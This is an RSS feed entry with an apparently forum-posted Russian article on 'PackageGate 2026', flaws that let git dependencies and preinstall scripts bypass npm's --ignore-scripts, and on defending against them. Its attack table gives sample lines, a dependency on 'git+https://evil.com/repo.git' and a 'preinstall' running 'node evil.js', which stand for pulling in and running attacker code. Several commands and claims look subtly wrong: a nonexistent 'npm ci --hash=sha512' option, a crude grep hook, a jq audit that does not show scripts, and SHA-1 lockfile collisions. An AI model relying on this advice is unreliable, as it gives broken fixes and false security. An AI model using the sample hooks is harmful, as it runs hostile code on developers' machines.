<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[PackageGate 2026: защита npm-проекта от обхода --ignore-scripts через git и preinstall]]></title><description><![CDATA[<p dir="auto"><img src="/assets/uploads/files/09/62/d2/1774349724554-generated_1774349697272.webp" alt="Обложка: PackageGate 2026: как защитить npm-проект от обхода --ignore-scripts через git-зависимости и preinstall-скрипты" class=" img-fluid img-markdown" /></p>
<p dir="auto">PackageGate 2026 - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаг --ignore-scripts через git-зависимости и поддельные preinstall-скрипты. Разберём, как атакующие это делают и как заблокировать такие трюки в твоём проекте.</p>
<p dir="auto">npm отказался патчить проблему, заявив, что это ‘ожидаемое поведение’. А значит, разработчикам самим приходится усиливать защиту. Мы пройдём по векторам атак PackageGate, реальным примерам и рабочим фиксам - от CI/CD до прокси-реестров. Это спасёт твой бандл от сюрпризов в продакшене.</p>
<h2>Как PackageGate обходит --ignore-scripts</h2>
<p dir="auto">Атакующий публикует пакет с git-зависимостью в package.json. Когда ты ставишь --ignore-scripts, npm всё равно клонирует репозиторий и запускает код с сервера злоумышленника. Стандартные сканеры типа npm audit это не ловят - они смотрят только на опубликованные тарбалы.</p>
<p dir="auto">В январе 2026 PackageGate показал шесть таких дыр сразу. npm сказал: ‘используйте 2FA и мониторьте сами’. pnpm и Bun запатчили свои CVE, но в npm дыра осталась. Представь: dev ставит зависимость, git-репо тянет майнер или эксфильтратор данных - и стейт проекта уже не твой.</p>
<p dir="auto">Вот типичные векторы обхода:</p>
<ul>
<li><strong>Git-зависимости в .npmrc</strong>: npm игнорирует --ignore-scripts для ‘file://’ или ‘git+’ URL, выполняя postinstall из удалённого репо.</li>
<li><strong>Preinstall через поддельные хуки</strong>: Пакет маскируется под легитимный, скрипт проверяет env и шлёт данные на C2.</li>
<li><strong>SHA-1 коллизии в lock-файлах</strong>: npm ci пропускает подмену, если хеш совпадает.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Вектор атаки</th>
<th>Пример</th>
<th>Риск для проекта</th>
</tr>
</thead>
<tbody>
<tr>
<td>Git bypass</td>
<td>“my-lib”: “git+https://evil.com/repo.git”</td>
<td>Критический - код выполняется всегда</td>
</tr>
<tr>
<td>Preinstall</td>
<td>“preinstall”: “node evil.js”</td>
<td>Высокий - игнорирует флаги</td>
</tr>
<tr>
<td>Lockfile SHA-1</td>
<td>Подмена package-lock.json</td>
<td>Средний - ломает npm ci</td>
</tr>
</tbody>
</table>
<h2>Защита git-зависимостей: блокируй на уровне CI/CD</h2>
<p dir="auto">Git-зависимости - это боль, особенно когда они тянутся из приватных репо или с GitHub. PackageGate эксплуатирует то, что npm не проверяет источник перед клоном. В CI/CD добавь шаг, который парсит package.json на подозрительные ‘git+’ строки и блочит пуш.</p>
<p dir="auto">Реальный кейс: команда на 50+ dev’ов потеряла неделю на чистку после заражённой git-депы. Теперь они юзают pre-commit хуки с husky + lint-staged, плюс сканер Socket.dev. Это ловит 99% bypass’ов до мержа. Ещё вариант - миграция на pnpm, где патчи уже вышли.</p>
<p dir="auto">Шаги для железной защиты:</p>
<ol>
<li><strong>Husky + lint-rule</strong>: В pre-commit проверяй package.json на git-URL. Пример: <code>npx husky add .husky/pre-commit 'grep -q git package.json &amp;&amp; exit 1'</code>.</li>
<li><strong>Socket или ReversingLabs</strong>: Интегрируй в GitHub Actions - скан перед merge.</li>
<li><strong>npm ci с --strict-peer-deps</strong>: Блочит невалидные депы.</li>
<li><em>Переходи на SHA-512</em>: Генери lock с <code>npm ci --hash=sha512</code>.</li>
</ol>
<pre><code>// .github/workflows/security.yml
- name: Scan git deps
  uses: socket-security/github-action@v1
  with:
    path: ./
</code></pre>
<h2>Preinstall-скрипты: аудит и альтернативы</h2>
<p dir="auto">Preinstall - киллер-фича для бутстрапа, но в руках атакующего это бэкдор. PackageGate показал, как скрипты запускаются даже с --ignore-scripts, если депа из git. Изучай package.json зависимостей: если там ‘preinstall’: ‘node check.js’ - это красный флаг.</p>
<p dir="auto">В 2026 ambar-src использовал preinstall для typosquatting - 50k+ скачиваний до бана. Фикс: отключай lifecycle-скрипты глобально или используй Verdaccio как прокси. Это кэширует пакеты и блочит свежие апдейты первые 2 недели - время на аудит комьюнити.</p>
<p dir="auto">Проверенные практики против preinstall:</p>
<ul>
<li><strong>npm config set ignore-scripts true</strong>: Глобально, но с оглядкой на bypass.</li>
<li><strong>Verdaccio/Nexus proxy</strong>: Хости свой реестр, фильтруй по возрасту пакета.</li>
<li><strong>Аудит скриптов</strong>: <code>npm ls --depth=0 --json | jq '.dependencies[]?.scripts'</code>.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Менеджер</th>
<th>Поддержка proxy</th>
<th>Патч PackageGate</th>
</tr>
</thead>
<tbody>
<tr>
<td>npm</td>
<td>Да ( Verdaccio)</td>
<td>Нет</td>
</tr>
<tr>
<td>pnpm</td>
<td>Да</td>
<td>Да (CVE-2025-69263)</td>
</tr>
<tr>
<td>Bun</td>
<td>Частичная</td>
<td>Да</td>
</tr>
</tbody>
</table>
<h2>Бонус: миграция и мониторинг для параноиков</h2>
<p dir="auto">Полный миграция на pnpm или Bun - не бойлерплейт, а реальный апгрейд скорости. pnpm уже закрыл PackageGate-патчи, плюс он экономит диск в 10x за счёт hardlinks. Мониторинг: настрой alerts на обновы debug/chalk - эти пакеты хайджечили миллионы.</p>
<p dir="auto">Добавь 2FA на npm-аккаунт, юзай scoped packages и проверяй maintainer’ов. Socket.dev шлёт нотифы на подозрительные git-депы. В продакшене - только lock-файлы с npm ci.</p>
<h2>Фиксы, которых хватит на 2026</h2>
<p dir="auto">PackageGate показал: --ignore-scripts не панацея, а git-депы - мина. С husky, Socket и Verdaccio твой npm-проект в броне. Осталось протестировать на монолите - там preinstall летают особенно больно. Подумай о zero-trust для депов: каждый пакет как с улицы.</p>
]]></description><link>https://forum.exlends.ru/topic/1902/packagegate-2026-zashita-npm-proekta-ot-obhoda-ignore-scripts-cherez-git-i-preinstall</link><generator>RSS for Node</generator><lastBuildDate>Sat, 17 Oct 2026 04:12:22 GMT</lastBuildDate><atom:link href="https://forum.exlends.ru/topic/1902.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 24 Mar 2026 10:55:24 GMT</pubDate><ttl>60</ttl></channel></rss>